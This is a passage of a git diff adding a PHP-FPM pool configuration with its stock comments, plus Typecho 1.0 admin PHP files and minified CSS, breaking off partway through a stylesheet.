permissions must be set in order to allow connections from a web server. Many +; BSD-derived systems allow connections regardless of permissions. +; Default Values: user and group are set as the running user +; mode is set to 0660 +listen.owner = www-data +listen.group = www-data +;listen.mode = 0660 +; When POSIX Access Control Lists are supported you can set them using +; these options, value is a comma separated list of user/group names. +; When set, listen.owner and listen.group are ignored +;listen.acl_users = +;listen.acl_groups = + +; List of addresses (IPv4/IPv6) of FastCGI clients which are allowed to connect. +; Equivalent to the FCGI_WEB_SERVER_ADDRS environment variable in the original +; PHP FCGI (5.2.2+). Makes sense only with a tcp listening socket. Each address +; must be separated by a comma. If this value is left blank, connections will be +; accepted from any ip address. +; Default Value: any +;listen.allowed_clients = 127.0.0.1 + +; Specify the nice(2) priority to apply to the pool processes (only if set) +; The value can vary from -19 (highest priority) to 20 (lower priority) +; Note: - It will only work if the FPM master process is launched as root +; - The pool processes will inherit the master process priority +; unless it specified otherwise +; Default Value: no set +; process.priority = -19 + +; Set the process dumpable flag (PR_SET_DUMPABLE prctl) even if the process user +; or group is differrent than the master process user. It allows to create process +; core dump and ptrace the process for the pool user. +; Default Value: no +; process.dumpable = yes + +; Choose how the process manager will control the number of child processes. +; Possible Values: +; static - a fixed number (pm.max_children) of child processes; +; dynamic - the number of child processes are set dynamically based on the +; following directives. With this process management, there will be +; always at least 1 children. +; pm.max_children - the maximum number of children that can +; be alive at the same time. +; pm.start_servers - the number of children created on startup. +; pm.min_spare_servers - the minimum number of children in 'idle' +; state (waiting to process). If the number +; of 'idle' processes is less than this +; number then some children will be created. +; pm.max_spare_servers - the maximum number of children in 'idle' +; state (waiting to process). If the number +; of 'idle' processes is greater than this +; number then some children will be killed. +; ondemand - no children are created at startup. Children will be forked when +; new requests will connect. The following parameter are used: +; pm.max_children - the maximum number of children that +; can be alive at the same time. +; pm.process_idle_timeout - The number of seconds after which +; an idle process will be killed. +; Note: This value is mandatory. +pm = dynamic + +; The number of child processes to be created when pm is set to 'static' and the +; maximum number of child processes when pm is set to 'dynamic' or 'ondemand'. +; This value sets the limit on the number of simultaneous requests that will be +; served. Equivalent to the ApacheMaxClients directive with mpm_prefork. +; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP +; CGI. The below defaults are based on a server without much resources. Don't +; forget to tweak pm.* to fit your needs. +; Note: Used when pm is set to 'static', 'dynamic' or 'ondemand' +; Note: This value is mandatory. +pm.max_children = 5 + +; The number of child processes created on startup. +; Note: Used only when pm is set to 'dynamic' +; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2 +pm.start_servers = 2 + +; The desired minimum number of idle server processes. +; Note: Used only when pm is set to 'dynamic' +; Note: Mandatory when pm is set to 'dynamic' +pm.min_spare_servers = 1 + +; The desired maximum number of idle server processes. +; Note: Used only when pm is set to 'dynamic' +; Note: Mandatory when pm is set to 'dynamic' +pm.max_spare_servers = 3 + +; The number of seconds after which an idle process will be killed. +; Note: Used only when pm is set to 'ondemand' +; Default Value: 10s +;pm.process_idle_timeout = 10s; + +; The number of requests each child process should execute before respawning. +; This can be useful to work around memory leaks in 3rd party libraries. For +; endless request processing specify '0'. Equivalent to PHP_FCGI_MAX_REQUESTS. +; Default Value: 0 +;pm.max_requests = 500 + +; The URI to view the FPM status page. If this value is not set, no URI will be +; recognized as a status page. It shows the following informations: +; pool - the name of the pool; +; process manager - static, dynamic or ondemand; +; start time - the date and time FPM has started; +; start since - number of seconds since FPM has started; +; accepted conn - the number of request accepted by the pool; +; listen queue - the number of request in the queue of pending +; connections (see backlog in listen(2)); +; max listen queue - the maximum number of requests in the queue +; of pending connections since FPM has started; +; listen queue len - the size of the socket queue of pending connections; +; idle processes - the number of idle processes; +; active processes - the number of active processes; +; total processes - the number of idle + active processes; +; max active processes - the maximum number of active processes since FPM +; has started; +; max children reached - number of times, the process limit has been reached, +; when pm tries to start more children (works only for +; pm 'dynamic' and 'ondemand'); +; Value are updated in real time. +; Example output: +; pool: www +; process manager: static +; start time: 01/Jul/2011:17:53:49 +0200 +; start since: 62636 +; accepted conn: 190460 +; listen queue: 0 +; max listen queue: 1 +; listen queue len: 42 +; idle processes: 4 +; active processes: 11 +; total processes: 15 +; max active processes: 12 +; max children reached: 0 +; +; By default the status page output is formatted as text/plain. Passing either +; 'html', 'xml' or 'json' in the query string will return the corresponding +; output syntax. Example: +; http://www.foo.bar/status +; http://www.foo.bar/status?json +; http://www.foo.bar/status?html +; http://www.foo.bar/status?xml +; +; By default the status page only outputs short status. Passing 'full' in the +; query string will also return status for each pool process. +; Example: +; http://www.foo.bar/status?full +; http://www.foo.bar/status?json&full +; http://www.foo.bar/status?html&full +; http://www.foo.bar/status?xml&full +; The Full status returns for each process: +; pid - the PID of the process; +; state - the state of the process (Idle, Running, ...); +; start time - the date and time the process has started; +; start since - the number of seconds since the process has started; +; requests - the number of requests the process has served; +; request duration - the duration in µs of the requests; +; request method - the request method (GET, POST, ...); +; request URI - the request URI with the query string; +; content length - the content length of the request (only with POST); +; user - the user (PHP_AUTH_USER) (or '-' if not set); +; script - the main script called (or '-' if not set); +; last request cpu - the %cpu the last request consumed +; it's always 0 if the process is not in Idle state +; because CPU calculation is done when the request +; processing has terminated; +; last request memory - the max amount of memory the last request consumed +; it's always 0 if the process is not in Idle state +; because memory calculation is done when the request +; processing has terminated; +; If the process is in Idle state, then informations are related to the +; last request the process has served. Otherwise informations are related to +; the current request being served. +; Example output: +; ************************ +; pid: 31330 +; state: Running +; start time: 01/Jul/2011:17:53:49 +0200 +; start since: 63087 +; requests: 12808 +; request duration: 1250261 +; request method: GET +; request URI: /test_mem.php?N=10000 +; content length: 0 +; user: - +; script: /home/fat/web/docs/php/test_mem.php +; last request cpu: 0.00 +; last request memory: 0 +; +; Note: There is a real-time FPM status monitoring sample web page available +; It's available in: /usr/share/php/7.1/fpm/status.html +; +; Note: The value must start with a leading slash (/). The value can be +; anything, but it may not be a good idea to use the .php extension or it +; may conflict with a real PHP file. +; Default Value: not set +;pm.status_path = /status + +; The ping URI to call the monitoring page of FPM. If this value is not set, no +; URI will be recognized as a ping page. This could be used to test from outside +; that FPM is alive and responding, or to +; - create a graph of FPM availability (rrd or such); +; - remove a server from a group if it is not responding (load balancing); +; - trigger alerts for the operating team (24/7). +; Note: The value must start with a leading slash (/). The value can be +; anything, but it may not be a good idea to use the .php extension or it +; may conflict with a real PHP file. +; Default Value: not set +;ping.path = /ping + +; This directive may be used to customize the response of a ping request. The +; response is formatted as text/plain with a 200 response code. +; Default Value: pong +;ping.response = pong + +; The access log file +; Default: not set +;access.log = log/$pool.access.log + +; The access log format. +; The following syntax is allowed +; %%: the '%' character +; %C: %CPU used by the request +; it can accept the following format: +; - %{user}C for user CPU only +; - %{system}C for system CPU only +; - %{total}C for user + system CPU (default) +; %d: time taken to serve the request +; it can accept the following format: +; - %{seconds}d (default) +; - %{miliseconds}d +; - %{mili}d +; - %{microseconds}d +; - %{micro}d +; %e: an environment variable (same as $_ENV or $_SERVER) +; it must be associated with embraces to specify the name of the env +; variable. Some exemples: +; - server specifics like: %{REQUEST_METHOD}e or %{SERVER_PROTOCOL}e +; - HTTP headers like: %{HTTP_HOST}e or %{HTTP_USER_AGENT}e +; %f: script filename +; %l: content-length of the request (for POST request only) +; %m: request method +; %M: peak of memory allocated by PHP +; it can accept the following format: +; - %{bytes}M (default) +; - %{kilobytes}M +; - %{kilo}M +; - %{megabytes}M +; - %{mega}M +; %n: pool name +; %o: output header +; it must be associated with embraces to specify the name of the header: +; - %{Content-Type}o +; - %{X-Powered-By}o +; - %{Transfert-Encoding}o +; - .... +; %p: PID of the child that serviced the request +; %P: PID of the parent of the child that serviced the request +; %q: the query string +; %Q: the '?' character if query string exists +; %r: the request URI (without the query string, see %q and %Q) +; %R: remote IP address +; %s: status (response code) +; %t: server time the request was received +; it can accept a strftime(3) format: +; %d/%b/%Y:%H:%M:%S %z (default) +; The strftime(3) format must be encapsuled in a %{}t tag +; e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t +; %T: time the log has been written (the request has finished) +; it can accept a strftime(3) format: +; %d/%b/%Y:%H:%M:%S %z (default) +; The strftime(3) format must be encapsuled in a %{}t tag +; e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t +; %u: remote user +; +; Default: "%R - %u %t \"%m %r\" %s" +;access.format = "%R - %u %t \"%m %r%Q%q\" %s %f %{mili}d %{kilo}M %C%%" + +; The log file for slow requests +; Default Value: not set +; Note: slowlog is mandatory if request_slowlog_timeout is set +;slowlog = log/$pool.log.slow + +; The timeout for serving a single request after which a PHP backtrace will be +; dumped to the 'slowlog' file. A value of '0s' means 'off'. +; Available units: s(econds)(default), m(inutes), h(ours), or d(ays) +; Default Value: 0 +;request_slowlog_timeout = 0 + +; The timeout for serving a single request after which the worker process will +; be killed. This option should be used when the 'max_execution_time' ini option +; does not stop script execution for some reason. A value of '0' means 'off'. +; Available units: s(econds)(default), m(inutes), h(ours), or d(ays) +; Default Value: 0 +;request_terminate_timeout = 0 + +; Set open file descriptor rlimit. +; Default Value: system defined value +;rlimit_files = 1024 + +; Set max core size rlimit. +; Possible Values: 'unlimited' or an integer greater or equal to 0 +; Default Value: system defined value +;rlimit_core = 0 + +; Chroot to this directory at the start. This value must be defined as an +; absolute path. When this value is not set, chroot is not used. +; Note: you can prefix with '$prefix' to chroot to the pool prefix or one +; of its subdirectories. If the pool prefix is not set, the global prefix +; will be used instead. +; Note: chrooting is a great security feature and should be used whenever +; possible. However, all PHP paths will be relative to the chroot +; (error_log, sessions.save_path, ...). +; Default Value: not set +;chroot = + +; Chdir to this directory at the start. +; Note: relative path can be used. +; Default Value: current directory or / when chroot +;chdir = /var/www + +; Redirect worker stdout and stderr into main error log. If not set, stdout and +; stderr will be redirected to /dev/null according to FastCGI specs. +; Note: on highloaded environement, this can cause some delay in the page +; process time (several ms). +; Default Value: no +;catch_workers_output = yes + +; Clear environment in FPM workers +; Prevents arbitrary environment variables from reaching FPM worker processes +; by clearing the environment in workers before env vars specified in this +; pool configuration are added. +; Setting to "no" will make all environment variables available to PHP code +; via getenv(), $_ENV and $_SERVER. +; Default Value: yes +;clear_env = no + +; Limits the extensions of the main script FPM will allow to parse. This can +; prevent configuration mistakes on the web server side. You should only limit +; FPM to .php extensions to prevent malicious users to use other extensions to +; execute php code. +; Note: set an empty value to allow all extensions. +; Default Value: .php +;security.limit_extensions = .php .php3 .php4 .php5 .php7 + +; Pass environment variables like LD_LIBRARY_PATH. All $VARIABLEs are taken from +; the current environment. +; Default Value: clean env +;env[HOSTNAME] = $HOSTNAME +;env[PATH] = /usr/local/bin:/usr/bin:/bin +;env[TMP] = /tmp +;env[TMPDIR] = /tmp +;env[TEMP] = /tmp + +; Additional php.ini defines, specific to this pool of workers. These settings +; overwrite the values previously defined in the php.ini. The directives are the +; same as the PHP SAPI: +; php_value/php_flag - you can set classic ini defines which can +; be overwritten from PHP call 'ini_set'. +; php_admin_value/php_admin_flag - these directives won't be overwritten by +; PHP call 'ini_set' +; For php_*flag, valid values are on, off, 1, 0, true, false, yes or no. + +; Defining 'extension' will load the corresponding shared extension from +; extension_dir. Defining 'disable_functions' or 'disable_classes' will not +; overwrite previously defined php.ini values, but will append the new value +; instead. + +; Note: path INI options can be relative and will be expanded with the prefix +; (pool, global or /usr) + +; Default Value: nothing is defined by default except the values in php.ini and +; specified at startup with the -d argument +;php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com +;php_flag[display_errors] = off +;php_admin_value[error_log] = /var/log/fpm-php.www.log +;php_admin_flag[log_errors] = on +;php_admin_value[memory_limit] = 32M diff --git a/Typecho/1.0/php-fpm/src/admin/category.php b/Typecho/1.0/php-fpm/src/admin/category.php new file mode 100755 index 000000000..97de61df4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/category.php @@ -0,0 +1,23 @@ + + +
+
+ +
+
+ form()->render(); ?> +
+
+
+
+ + diff --git a/Typecho/1.0/php-fpm/src/admin/common-js.php b/Typecho/1.0/php-fpm/src/admin/common-js.php new file mode 100755 index 000000000..e65293087 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/common-js.php @@ -0,0 +1,105 @@ + + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/common.php b/Typecho/1.0/php-fpm/src/admin/common.php new file mode 100755 index 000000000..e3a67023a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/common.php @@ -0,0 +1,59 @@ +begin(); + +Typecho_Widget::widget('Widget_Options')->to($options); +Typecho_Widget::widget('Widget_User')->to($user); +Typecho_Widget::widget('Widget_Security')->to($security); +Typecho_Widget::widget('Widget_Menu')->to($menu); + +/** 初始化上下文 */ +$request = $options->request; +$response = $options->response; + +/** 检测是否是第一次登录 */ +$currentMenu = $menu->getCurrentMenu(); +list($prefixVersion, $suffixVersion) = explode('/', $options->version); +$params = parse_url($currentMenu[2]); +$adminFile = basename($params['path']); + +if (!$user->logged && !Typecho_Cookie::get('__typecho_first_run') && !empty($currentMenu)) { + + if ('welcome.php' != $adminFile) { + $response->redirect(Typecho_Common::url('welcome.php', $options->adminUrl)); + } else { + Typecho_Cookie::set('__typecho_first_run', 1); + } + +} else { + + /** 检测版本是否升级 */ + if ($user->pass('administrator', true) && !empty($currentMenu)) { + $mustUpgrade = (!defined('Typecho_Common::VERSION') || version_compare(str_replace('/', '.', Typecho_Common::VERSION), + str_replace('/', '.', $options->version), '>')); + + if ($mustUpgrade && 'upgrade.php' != $adminFile) { + $response->redirect(Typecho_Common::url('upgrade.php', $options->adminUrl)); + } else if (!$mustUpgrade && 'upgrade.php' == $adminFile) { + $response->redirect($options->adminUrl); + } else if (!$mustUpgrade && 'welcome.php' == $adminFile && $user->logged) { + $response->redirect($options->adminUrl); + } + } + +} diff --git a/Typecho/1.0/php-fpm/src/admin/copyright.php b/Typecho/1.0/php-fpm/src/admin/copyright.php new file mode 100755 index 000000000..b17e928cb --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/copyright.php @@ -0,0 +1,13 @@ + + diff --git a/Typecho/1.0/php-fpm/src/admin/css/grid.css b/Typecho/1.0/php-fpm/src/admin/css/grid.css new file mode 100755 index 000000000..16183b37b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/css/grid.css @@ -0,0 +1 @@ +.container,.row [class*="col-"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}.container{margin-left:auto;margin-right:auto;padding-left:10px;padding-right:10px;}.row{margin-right:-10px;margin-left:-10px;}.row [class*="col-"]{float:left;min-height:1px;padding-right:10px;padding-left:10px;}.row [class*="-push-"],.row [class*="-pull-"]{position:relative;}.col-mb-1{width:8.33333%;}.col-mb-2{width:16.66667%;}.col-mb-3{width:25%;}.col-mb-4{width:33.33333%;}.col-mb-5{width:41.66667%;}.col-mb-6{width:50%;}.col-mb-7{width:58.33333%;}.col-mb-8{width:66.66667%;}.col-mb-9{width:75%;}.col-mb-10{width:83.33333%;}.col-mb-11{width:91.66667%;}.col-mb-12{width:100%;}@media(min-width:768px){.container{max-width:728px;}.col-tb-1{width:8.33333%;}.col-tb-2{width:16.66667%;}.col-tb-3{width:25%;}.col-tb-4{width:33.33333%;}.col-tb-5{width:41.66667%;}.col-tb-6{width:50%;}.col-tb-7{width:58.33333%;}.col-tb-8{width:66.66667%;}.col-tb-9{width:75%;}.col-tb-10{width:83.33333%;}.col-tb-11{width:91.66667%;}.col-tb-12{width:100%;}.col-tb-offset-0{margin-left:0;}.col-tb-offset-1{margin-left:8.33333%;}.col-tb-offset-2{margin-left:16.66667%;}.col-tb-offset-3{margin-left:25%;}.col-tb-offset-4{margin-left:33.33333%;}.col-tb-offset-5{margin-left:41.66667%;}.col-tb-offset-6{margin-left:50%;}.col-tb-offset-7{margin-left:58.33333%;}.col-tb-offset-8{margin-left:66.66667%;}.col-tb-offset-9{margin-left:75%;}.col-tb-offset-10{margin-left:83.33333%;}.col-tb-offset-11{margin-left:91.66667%;}.col-tb-offset-12{margin-left:100%;}.col-tb-pull-0{right:0;}.col-tb-pull-1{right:8.33333%;}.col-tb-pull-2{right:16.66667%;}.col-tb-pull-3{right:25%;}.col-tb-pull-4{right:33.33333%;}.col-tb-pull-5{right:41.66667%;}.col-tb-pull-6{right:50%;}.col-tb-pull-7{right:58.33333%;}.col-tb-pull-8{right:66.66667%;}.col-tb-pull-9{right:75%;}.col-tb-pull-10{right:83.33333%;}.col-tb-pull-11{right:91.66667%;}.col-tb-pull-12{right:100%;}.col-tb-push-0{left:0;}.col-tb-push-1{left:8.33333%;}.col-tb-push-2{left:16.66667%;}.col-tb-push-3{left:25%;}.col-tb-push-4{left:33.33333%;}.col-tb-push-5{left:41.66667%;}.col-tb-push-6{left:50%;}.col-tb-push-7{left:58.33333%;}.col-tb-push-8{left:66.66667%;}.col-tb-push-9{left:75%;}.col-tb-push-10{left:83.33333%;}.col-tb-push-11{left:91.66667%;}.col-tb-push-12{left:100%;}}@media(min-width:992px){.container{max-width:952px;}.col-1{width:8.33333%;}.col-2{width:16.66667%;}.col-3{width:25%;}.col-4{width:33.33333%;}.col-5{width:41.66667%;}.col-6{width:50%;}.col-7{width:58.33333%;}.col-8{width:66.66667%;}.col-9{width:75%;}.col-10{width:83.33333%;}.col-11{width:91.66667%;}.col-12{width:100%;}.col-offset-0{margin-left:0;}.col-offset-1{margin-left:8.33333%;}.col-offset-2{margin-left:16.66667%;}.col-offset-3{margin-left:25%;}.col-offset-4{margin-left:33.33333%;}.col-offset-5{margin-left:41.66667%;}.col-offset-6{margin-left:50%;}.col-offset-7{margin-left:58.33333%;}.col-offset-8{margin-left:66.66667%;}.col-offset-9{margin-left:75%;}.col-offset-10{margin-left:83.33333%;}.col-offset-11{margin-left:91.66667%;}.col-offset-12{margin-left:100%;}.col-pull-0{right:0;}.col-pull-1{right:8.33333%;}.col-pull-2{right:16.66667%;}.col-pull-3{right:25%;}.col-pull-4{right:33.33333%;}.col-pull-5{right:41.66667%;}.col-pull-6{right:50%;}.col-pull-7{right:58.33333%;}.col-pull-8{right:66.66667%;}.col-pull-9{right:75%;}.col-pull-10{right:83.33333%;}.col-pull-11{right:91.66667%;}.col-pull-12{right:100%;}.col-push-0{left:0;}.col-push-1{left:8.33333%;}.col-push-2{left:16.66667%;}.col-push-3{left:25%;}.col-push-4{left:33.33333%;}.col-push-5{left:41.66667%;}.col-push-6{left:50%;}.col-push-7{left:58.33333%;}.col-push-8{left:66.66667%;}.col-push-9{left:75%;}.col-push-10{left:83.33333%;}.col-push-11{left:91.66667%;}.col-push-12{left:100%;}}@media(min-width:1200px){.container{max-width:1160px;}.col-wd-1{width:8.33333%;}.col-wd-2{width:16.66667%;}.col-wd-3{width:25%;}.col-wd-4{width:33.33333%;}.col-wd-5{width:41.66667%;}.col-wd-6{width:50%;}.col-wd-7{width:58.33333%;}.col-wd-8{width:66.66667%;}.col-wd-9{width:75%;}.col-wd-10{width:83.33333%;}.col-wd-11{width:91.66667%;}.col-wd-12{width:100%;}.col-wd-offset-0{margin-left:0;}.col-wd-offset-1{margin-left:8.33333%;}.col-wd-offset-2{margin-left:16.66667%;}.col-wd-offset-3{margin-left:25%;}.col-wd-offset-4{margin-left:33.33333%;}.col-wd-offset-5{margin-left:41.66667%;}.col-wd-offset-6{margin-left:50%;}.col-wd-offset-7{margin-left:58.33333%;}.col-wd-offset-8{margin-left:66.66667%;}.col-wd-offset-9{margin-left:75%;}.col-wd-offset-10{margin-left:83.33333%;}.col-wd-offset-11{margin-left:91.66667%;}.col-wd-offset-12{margin-left:100%;}.col-wd-pull-0{right:0;}.col-wd-pull-1{right:8.33333%;}.col-wd-pull-2{right:16.66667%;}.col-wd-pull-3{right:25%;}.col-wd-pull-4{right:33.33333%;}.col-wd-pull-5{right:41.66667%;}.col-wd-pull-6{right:50%;}.col-wd-pull-7{right:58.33333%;}.col-wd-pull-8{right:66.66667%;}.col-wd-pull-9{right:75%;}.col-wd-pull-10{right:83.33333%;}.col-wd-pull-11{right:91.66667%;}.col-wd-pull-12{right:100%;}.col-wd-push-0{left:0;}.col-wd-push-1{left:8.33333%;}.col-wd-push-2{left:16.66667%;}.col-wd-push-3{left:25%;}.col-wd-push-4{left:33.33333%;}.col-wd-push-5{left:41.66667%;}.col-wd-push-6{left:50%;}.col-wd-push-7{left:58.33333%;}.col-wd-push-8{left:66.66667%;}.col-wd-push-9{left:75%;}.col-wd-push-10{left:83.33333%;}.col-wd-push-11{left:91.66667%;}.col-wd-push-12{left:100%;}}@media(max-width:767px){.kit-hidden-mb{display:none;}}@media(max-width:991px){.kit-hidden-tb{display:none;}}@media(max-width:1199px){.kit-hidden{display:none;}}.clearfix,.row{zoom:1;}.clearfix:before,.row:before,.clearfix:after,.row:after{content:" ";display:table;}.clearfix:after,.row:after{clear:both;} \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/admin/css/normalize.css b/Typecho/1.0/php-fpm/src/admin/css/normalize.css new file mode 100755 index 000000000..c37760773 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/css/normalize.css @@ -0,0 +1 @@ +/*!normalize.css v2.1.3 | MIT License | git.io/normalize */ article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block;}audio,canvas,video{display:inline-block;}audio:not([controls]){display:none;height:0;}[hidden],template{display:none;}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}body{margin:0;}a{background:transparent;}a:focus{outline:thin dotted;}a:active,a:hover{outline:0;}h1{font-size:2em;margin:.67em 0;}abbr[title]{border-bottom:1px dotted;}b,strong{font-weight:bold;}dfn{font-style:italic;}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0;}mark{background:#ff0;color:#000;}code,kbd,pre,samp{font-family:monospace,serif;font-size:1em;}pre{white-space:pre-wrap;}q{quotes:"\201C" "\201D" "\2018" "\2019";}small{font-size:80%;}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;}sup{top:-0.5em;}sub{bottom:-0.25em;}img{border:0;}svg:not(:root){overflow:hidden;}figure{margin:0;}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em;}legend{border:0;padding:0;}button,input,select,textarea{font-family:inherit;font-size:100%;margin:0;}button,input{line-height:normal;}button,select{text-transform:none;}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer;}button[disabled],html input[disabled]{cursor:default;}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0;}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none;}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0;}textarea{overflow:auto;vertical-align:top;}table{border-collapse:collapse;border-spacing:0;} \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/admin/css/style.css b/Typecho/1.0/php-fpm/src/admin/css/style.css new file mode 100755 index 000000000..7c9a118fe --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/css/style.css @@ -0,0 +1 @@ +@charset "UTF-8";html{height:100%;}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F6F6F3;color:#444;font-size:87.5%;line-height:1.5;}a{color:#467B96;text-decoration:none;}a:hover{color:#499BC3;text-decoration:underline;}code,pre,.mono{font-family:Menlo,Monaco,Consolas,"Courier New",monospace;}.p{margin:1em 0;}.body-100{height:100%;}a.balloon-button{display:inline-block;padding:0 6px;min-width:12px;height:18px;line-height:18px;background:#D8E7EE;font-size:.85714em;text-align:center;text-decoration:none;zoom:1;-moz-border-radius:30px;-webkit-border-radius:30px;border-radius:30px;}a.button:hover,a.balloon-button:hover{background-color:#A5CADC;color:#FFF;text-decoration:none;}input[type=text],input[type=password],input[type=email],textarea{background:#FFF;border:1px solid #D9D9D6;padding:7px;border-radius:2px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}textarea{resize:vertical;line-height:1.5;}input[type="radio"],input[type="checkbox"]{margin-right:3px;}input.text-s,textarea.text-s{padding:5px;}input.text-l,textarea.text-l{padding:10px;font-size:1.14286em;}.w-10{width:10%;}.w-20{width:20%;}.w-30{width:30%;}.w-40{width:40%;}.w-50{width:50%;}.w-60{width:60%;}.w-70{width:70%;}.w-80{width:80%;}.w-90{width:90%;}.w-100{width:100%;}select{border:1px solid #CCC;height:28px;}.btn,#ui-datepicker-div .ui-datepicker-current,#ui-datepicker-div .ui-datepicker-close{border:none;background-color:#E9E9E6;cursor:pointer;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;display:inline-block;padding:0 12px;height:32px;color:#666;vertical-align:middle;zoom:1;}.btn:hover,#ui-datepicker-div .ui-datepicker-current:hover,#ui-datepicker-div .ui-datepicker-close:hover{-moz-transition-duration:.4s;-o-transition-duration:.4s;-webkit-transition-duration:.4s;transition-duration:.4s;background-color:#dbdbd6;}.btn:active,#ui-datepicker-div .ui-datepicker-current:active,#ui-datepicker-div .ui-datepicker-close:active,.btn.active,#ui-datepicker-div .active.ui-datepicker-current,#ui-datepicker-div .active.ui-datepicker-close{background-color:#d6d6d0;}.btn:disabled,#ui-datepicker-div .ui-datepicker-current:disabled,#ui-datepicker-div .ui-datepicker-close:disabled{background-color:#f7f7f6;cursor:default;}.btn:disabled,#ui-datepicker-div .ui-datepicker-current:disabled,#ui-datepicker-div .ui-datepicker-close:disabled{color:#999;}.btn-xs,#ui-datepicker-div .ui-datepicker-current,#ui-datepicker-div .ui-datepicker-close{padding:0 10px;height:25px;font-size:13px;}.btn-s{height:28px;}.btn-l{height:40px;font-size:1.14286em;font-weight:bold;}.primary{border:none;background-color:#467B96;cursor:pointer;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;color:#FFF;}.primary:hover{-moz-transition-duration:.4s;-o-transition-duration:.4s;-webkit-transition-duration:.4s;transition-duration:.4s;background-color:#3c6a81;}.primary:active,.primary.active{background-color:#39647a;}.primary:disabled{background-color:#508cab;cursor:default;}.btn-group{display:inline-block;}.btn-warn{border:none;background-color:#B94A48;cursor:pointer;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;color:#FFF;}.btn-warn:hover{-moz-transition-duration:.4s;-o-transition-duration:.4s;-webkit-transition-duration:.4s;transition-duration:.4s;background-color:#a4403f;}.btn-warn:active,.btn-warn.active{background-color:#9c3e3c;}.btn-warn:disabled{background-color:#c1605e;cursor:default;}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active,.btn-link.active{background-color:transparent;}.btn-drop{position:relative;}.dropdown-toggle{padding-right:8px;}.dropdown-menu{list-style:none;position:absolute;z-index:2;left:0;margin:0;padding:0;border:1px solid #D9D9D6;background:#FFF;text-align:left;min-width:108px;display:none;}.dropdown-menu li{white-space:nowrap;}.dropdown-menu li.multiline{padding:5px 12px 12px;}.dropdown-menu a{display:block;padding:5px 12px;color:#666;}.dropdown-menu a:hover{background:#F6F6F3;text-decoration:none!important;}.message{padding:8px 10px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;}.message a{font-weight:bold;text-decoration:underline;}.error{background:#FBE3E4;color:#8A1F11;}.error a{color:#8A1F11;}.notice{background:#FFF6BF;color:#8A6D3B;}.notice a{color:#8A6D3B;}.success{background:#E6EFC2;color:#264409;}.success a{color:#264409;}.balloon{display:inline-block;padding:0 4px;min-width:10px;height:14px;line-height:14px;background:#B9B9B6;vertical-align:text-top;text-align:center;font-size:12px;color:#FFF;-moz-border-radius:20px;-webkit-border-radius:20px;border-radius:20px;}.typecho-pager{list-style:none;float:right;margin:0;padding:0;line-height:1;text-align:center;zoom:1;}.typecho-pager li{display:inline-block;margin:0 3px;height:28px;line-height:28px;}.typecho-pager a{display:block;padding:0 10px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;}.typecho-pager a:hover{text-decoration:none;background:#E9E9E6;}.typecho-pager li.current a{background:#E9E9E6;color:#444;}.typecho-head-nav{padding:0 10px;background:#292D33;}.typecho-head-nav a{color:#BBB;}.typecho-head-nav a:hover,.typecho-head-nav a:focus{color:#FFF;text-decoration:none;}#typecho-nav-list{float:left;}#typecho-nav-list ul{list-style:none;margin:0;padding:0;}#typecho-nav-list ul:first-child{border-left:1px solid #383D45;}#typecho-nav-list .root{position:relative;float:left;}#typecho-nav-list .parent a{display:block;float:left;padding:0 20px;border-right:1px solid #383D45;height:36px;line-height:36px;color:#BBB;}#typecho-nav-list .parent a:hover,#typecho-nav-list .focus .parent a,#typecho-nav-list .root:hover .parent a{background:#202328;color:#FFF;text-decoration:none;}#typecho-nav-list .focus .parent a{font-weight:bold;}#typecho-nav-list .child{position:absolute;top:36px;display:none;margin:0;min-width:160px;max-width:240px;background:#202328;z-index:250;}#typecho-nav-list .root:hover .child{display:block;}#typecho-nav-list .child li a{color:#BBB;display:block;padding:0 20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;height:36px;line-height:36px;}#typecho-nav-list .child li a:hover,#typecho-nav-list .child li a:focus{background:#292D33;color:#FFF;}#typecho-nav-list .child li.focus a{color:#6DA1BB;font-weight:bold;}.typecho-head-nav .operate{float:right;}.typecho-head-nav .operate a{display:inline-block;margin-left:-1px;padding:0 20px;border:1px solid #383D45;border-width:0 1px;line-height:36px;color:#BBB;}.typecho-head-nav .operate a:hover{background-color:#202328;color:#FFF;}.typecho-foot{padding:4em 0 3em;color:#999;line-height:1.8;text-align:center;}.typecho-foot .copyright p{margin:10px 0 0;}.typecho-foot .resource{color:#CCC;}.typecho-foot .resource a{margin:0 